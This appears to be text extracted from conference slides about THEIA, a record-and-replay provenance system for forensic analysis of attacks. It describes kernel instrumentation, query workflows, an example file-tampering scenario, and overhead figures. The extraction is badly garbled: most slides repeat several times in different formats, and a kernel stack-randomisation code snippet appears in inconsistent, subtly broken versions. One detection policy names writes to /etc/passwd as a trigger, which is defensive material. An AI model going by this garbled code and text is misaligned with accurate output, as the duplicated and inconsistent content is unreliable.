    - Order, return values and memory addresses modified by a system call
    - Timing and values of received signals
    - Sources of randomness
  - Libc instrumentation
    - synchronization of pthread

- **Implementation:**
  - Arnold* with 32-bit Linux kernel

Record and Replay

• Record:
  – Kernel instrumentation
    • Order, return values and memory addresses modified by a system call
    • Timing and values of received signals
    • Sources of randomness
  – Libc instrumentation
    • synchronization of pthread

• Implementation:
  – Arnold* with 32-bit Linux kernel

Record and Replay

- **Record:**
  - Kernel instrumentation
    - Order, return values and memory addresses modified by a system call
    - Timing and values of received signals
    - Sources of randomness
  - Libc instrumentation
    - synchronization of pthread

- **Implementation:**
  - Arnold* with 32-bit Linux kernel

Record and Replay

• Record:
  – Kernel instrumentation
    • Order, return values and memory addresses modified by a system call
    • Timing and values of received signals
    • Sources of randomness
  – Libc instrumentation
    • synchronization of pthread

• Implementation:
  – Arnold* with 32-bit Linux kernel

Record and Replay

• **Record:**
  – Kernel instrumentation
    • Order, return values and memory addresses modified by a system call
    • Timing and values of received signals
    • Sources of randomness
  – Libc instrumentation
    • synchronization of pthread

• **Implementation:**
  – Arnold* with 32-bit Linux kernel

unsigned long arch_align_stack(unsigned long sp
{
    /* Begin Replay */
    if (!(current->personality & ADDR_NO_RANDOMIZE) && randomize_va_space){
        unsigned int rand = get_random_int();
    if (current->record_thrd) {
        record_randomness(rand);
    } else if (current->replay_thrd){
        rand = replay_randomness();
    }
    sp -= rand % 8192;
}
    /* End Replay */
    return sp & ~0xf;
}
Kernel Instrumentation
Implementation Example

```c
unsigned long arch_align_stack(unsigned long sp

    /***************************************************************************
     * Begin Replay *
     */
    if (!((current->personality & ADDR_NO_RANDOMIZE) &&
        randomize_va_space)){
        unsigned int rand = get_random_int();
    if (current->record_thrd) {
        record_randomness(rand);
    } else if (current->replay_thrd){
        rand = replay_randomness();
    }
    sp -= rand % 8192;
    }/* End Replay */
return sp & ~0xf;
```
unsigned long arch_align_stack(unsigned long sp)
{
    /* Begin REPLY */
    if (!(current->personality & ADDR_NO_RANDOMIZE) &&
        randomize_va_space){
        unsigned int rand = get_random_int();
        if (current->record_thrd) {
            record_randomness(rand);
        } else if (current->replay_thrd){
            rand = replay_randomness();
        }
        sp -= rand % 8192;
    }
    /* End REPLY */
    return sp & ~0xf;
}
Query System Workflow

AHG

Queries

Triggering Points

Reachability & Pruning

Coarse-grained Subgraph

Fine-grained analysis

Fine-grained Tags
Query System Workflow

AHG

Queries

Triggering Points

Reachability & Pruning

Coarse-grained Subgraph

Fine-grained analysis

Fine-grained Tags
Query System Workflow

AHG

Queries

Triggering Points

Reachability & Pruning

Coarse-grained Subgraph

Fine-grained analysis

Fine-grained Tags
Query System Workflow

- AHG
- Queries
- Triggering Points
- Reachability & Pruning
- Coarse-grained Subgraph
- Fine-grained analysis
- Fine-grained Tags
Query System Workflow

1. AHG
2. Queries
3. Triggering Points
4. Reachability & Pruning
5. Coarse-grained Subgraph
6. Fine-grained analysis
7. Fine-grained Tags
Triggering Points and Queries

• **Triggering points:**
  – Pre-defined policies
    • Process writes to /etc/passwd

• **Queries:**
  – From automated forensic analysis systems
  – Human based analysis

• **Analysis types:**
  – **Backward:**
    • Where does this object come from?
  – **Forward:**
    • What is the impact of this object on the system?
  – **Point-to-point:**
    • Are these two objects related?
Triggering Points and Queries

• **Triggering points:**
  – Pre-defined policies
    • Process writes to /etc/passwd

• **Queries:**
  – From automated forensic analysis systems
  – Human based analysis

• **Analysis types:**
  – **Backward:**
    • Where does this object come from?
  – **Forward:**
    • What is the impact of this object on the system?
  – **Point-to-point:**
    • Are these two objects related?
Triggering Points and Queries

• **Triggering points:**
  – Pre-defined policies
    • Process writes to /etc/passwd

• **Queries:**
  – From automated forensic analysis systems
  – Human based analysis

• **Analysis types:**
  – **Backward:**
    • Where does this object come from?
  – **Forward:**
    • What is the impact of this object on the system?
  – **Point-to-point:**
    • Are these two objects related?
1. Attacker tampers contract file **ctct.csv**
2. Employee creates seasonal report **s1.csv** using spreadsheet editor
3. **Auto report** program sends seasonal **s1.csv** report to **archive server**
4. Employee creates seasonal report **s2.csv** using spreadsheet editor
5. **Template generator** creates template **t.doc**
6. Employee creates half-year report **h2.pdf** using **document editor**
1. Attacker tampers contract file ctct.csv
2. Employee creates seasonal report s1.csv using spreadsheet editor
3. Auto report program sends seasonal s1.csv report to archive server
4. Employee creates seasonal report s2.csv using spreadsheet editor
5. Template generator creates template t.doc
6. Employee creates half-year report h2.pdf using document editor
1. Attacker tampers contract file ctct.csv
2. Employee creates seasonal report s1.csv using spreadsheet editor
3. Auto report program sends seasonal s1.csv report to archive server
4. Employee creates seasonal report s2.csv using spreadsheet editor
5. Template generator creates template t.doc
6. Employee creates half-year report h2.pdf using document editor
1. Attacker tampers contract file \texttt{ctct.csv}
2. Employee creates seasonal report \texttt{s1.csv} using spreadsheet editor
3. Auto report program sends seasonal \texttt{s1.csv} report to archive server
4. Employee creates seasonal report \texttt{s2.csv} using spreadsheet editor
5. Template generator creates template \texttt{t.doc}
6. Employee creates half-year report \texttt{h2.pdf} using document editor
1. Attacker tampers contract file **ctct.csv**
2. Employee creates seasonal report **s1.csv** using spreadsheet editor
3. **Auto report** program sends seasonal **s1.csv** report to **archive server**
4. Employee creates seasonal report **s2.csv** using spreadsheet editor
5. **Template generator** creates template **t.doc**
6. Employee creates half-year report **h2.pdf** using document editor
Reachability Result

1. Attacker tampers contract file \texttt{ctct.csv}
2. Employee creates seasonal report \texttt{s1.csv} using spreadsheet editor
3. Auto report program sends seasonal \texttt{s1.csv} report to archive server
4. Employee creates seasonal report \texttt{s2.csv} using spreadsheet editor
5. Template generator creates template \texttt{t.doc}
6. Employee creates half-year report \texttt{h2.pdf} using document editor
Runtime Overhead: SPEC CPU2006

3.22%
Runtime Overhead: I/O Operations

<50%
Pruning Efficiency

Taint workload: #processes

~94.2% reduction
Information Flow Tracking Accuracy

~94.2% reduction
Storage Cost

~4GB per day

Storage overhead (MB)

- Screengrab: 113.9 MB
- Cameragrab: 105 MB
- Audiograb: 133.6 MB
- NetRecon: 166.1 MB
- Libc compilation: 740 MB
- Per day desktop: 4000 MB
Future Work

- Hypervisor-based non-emulation R/R
- Differential Taint Analysis
- Running memory sanitizers on replay
- Multi-host support
- Porting from 32-bit to 64-bit
Future Work

- Hypervisor-based non-emulation R/R
- Differential Taint Analysis
- Running memory sanitizers on replay
- Multi-host support
- Porting from 32-bit to 64-bit
Future Work

• Hypervisor-based non-emulation R/R
• Differential Taint Analysis
• Running memory sanitizers on replay
• Multi-host support
• Porting from 32-bit to 64-bit
Conclusion

Data Breaches

THEIA-Panda Overview

THEIA-KI Overview

Future Work

- Hypervisor-based non-emulation RIR
- Differential Taint Analysis
- Running memory sanitizers on replay
- Multi-host support
- Porting from 32-bit to 64-bit
Conclusion

Data Breaches

EQUIFAX
SONY
LinkedIn
YAHOO!

THEIA-KI Overview

THEIA-Panda Overview

Future Work

- Hypervisor-based non-emulation RIR
- Differential Taint Analysis
- Running memory sanitizers on replay
- Multi-host support
- Porting from 32-bit to 64-bit
Conclusion

- Data Breaches
- Equifax
- Sony
- LinkedIn
- Yahoo!

Future Work
- Hypervisor-based non-emulation RIR
- Differential Taint Analysis
- Running memory sanitizers on replay
- Multi-host support
- Porting from 32-bit to 64-bit
Conclusion

Data Breaches

THEIA-Panda Overview

THEIA-KI Overview

Future Work

- Hypervisor-based non-emulation RIR
- Differential Taint Analysis
- Running memory sanitizers on replay
- Multi-host support
- Porting from 32-bit to 64-bit
APT Demo
APT Demo
THEIA-Panda Demo
THEIA-Panda Demo
THEIA-Panda Demo